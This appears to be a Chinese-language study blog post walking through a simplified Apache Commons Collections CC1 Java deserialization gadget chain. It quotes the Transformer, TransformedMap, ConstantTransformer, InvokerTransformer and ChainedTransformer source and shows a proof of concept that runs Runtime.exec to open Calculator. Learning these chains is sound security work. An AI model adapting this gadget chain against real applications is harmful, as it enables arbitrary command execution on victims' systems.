java反序列化CC1-1

  1. 1. Transformer
  2. 2. TransformedMap及其decorate方法
  3. 3. ConstantTransformer
  4. 4. InvokerTransformer
  5. 5. ChainedTransformer
  6. 6. 总的分析
  7. 7. 总结

最近入门java安全,看一下最基础的CC1链子(URLDNS已经偷偷学过了)
先来看看p神原创的最简代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

这里涉及到几个接口和类,一个一个看

Transformer

这是个接口,源码也很简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}

看注释,把一个输入的对象输出,这个对象应该保持不变。

TransformedMap及其decorate方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
......

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

decorate中 第一个参数为修饰的Map类,第二个参数和第三个参数都是一个实现了Transformer接口的类,转换Map的键和值,为null则不转换。当被修饰的map添加新元素时会分别触发这两个类的transfom方法,也就是说我们之后只要找到能利用的transform方法即可。
具体看下面这篇文章里面的一个例子
http://diego.team/2021/02/04/java-cc1-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90/

ConstantTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class ConstantTransformer implements Transformer, Serializable {

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
}

构造该类时传入一个对象,并在调用transform时返回该对象,算是一种封装。

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class InvokerTransformer implements Transformer, Serializable {

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

该类也实现了Transformer类接口的一个类

第一个参数是待执行的方法名,第二个参数是函数的参数类型,第三个参数是这个函数的参数列表。
重点在改类的transform方法
前面说过,通过TransformedMap的decorate方法可以调用任意类的transform方法,所以InvokerTransformer类中的transform及是我们要找的恶意方法,因为他可以导致任意命令执行。


执行原理也很简单,结合之前学过的反射机制很容易就能看懂。

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class ChainedTransformer implements Transformer, Serializable {

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

该类也实现了Transformer接口。其构造函数的参数为Transformer[]。主要逻辑算是一种链式调用。将transformers中多个实现Transformer接口的类串在一起,第一个传入的object为第一个类的transform方法的参数,再将执行结果作为transformers列表中下一个类的transform方法的参数。

理解了这些类,再看看p神的构造里的一段。

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};

这里实例化了Transformer[]列表,在下面作为了ChainedTransformer类实例化时的参数。
该Transformer[]包含两个Transformer:第一个是ConstantTransformer, 直接返回当前环境的Runtime对象;第二个是InvokerTransformer,获取了exec方法,里面的Object为参数,即exec的参数,这里就是计算器。

总的分析

这里先实例化了一个HashMap类,再用TransformedMap.decorate修饰该类返回了一个新的Map类。前面说过,再被TransformedMap.decorate修饰过的类中添加新元素时会触发第二、第三个参数的transform方法。利用outerMap.put就添加了新元素。下面的这里第二个参数为null,第三个参数为上面实例化的一个ChainedTransformer类。

ChainedTransformer类的transform方法被触发,参数为Transformer[]类。之后利用ChainedTransformer的transform方法链式调用进行命令执行。

总结

这算是个半个CC1链子,因为是手动触发的put方法,接下来学完整的CC1链子